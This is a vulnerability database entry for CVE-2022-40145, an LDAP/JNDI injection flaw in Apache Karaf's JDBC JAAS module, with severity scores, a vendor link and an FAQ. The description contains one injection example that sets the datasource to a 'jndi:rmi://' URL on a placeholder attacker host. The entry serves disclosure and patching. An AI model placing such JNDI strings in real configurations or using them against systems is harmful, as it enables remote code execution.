CVE-2022-40145

Apache Karaf: JDBC JAAS LDAP injection

Description

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Category

9.8
CVSS
Severity: Critical
CVSS 3.1 •
EPSS 1.58% Top 20%
Vendor Advisory apache.org
Affected: Apache Software Foundation Apache Karaf
Published at:
Updated at:

References

Link Tags
https://karaf.apache.org/security/cve-2022-40145.txt vendor advisory

Frequently Asked Questions

What is the severity of CVE-2022-40145?
CVE-2022-40145 has been scored as a critical severity vulnerability.
How to fix CVE-2022-40145?
To fix CVE-2022-40145, make sure you are using an up-to-date version of the affected component(s) by checking the vendor release notes. As for now, there are no other specific guidelines available.
Is CVE-2022-40145 being actively exploited in the wild?
It is possible that CVE-2022-40145 is being exploited or will be exploited in a near future based on public information. According to its EPSS score, there is a ~2% probability that this vulnerability will be exploited by malicious actors in the next 30 days.
What software or system is affected by CVE-2022-40145?
CVE-2022-40145 affects Apache Software Foundation Apache Karaf.
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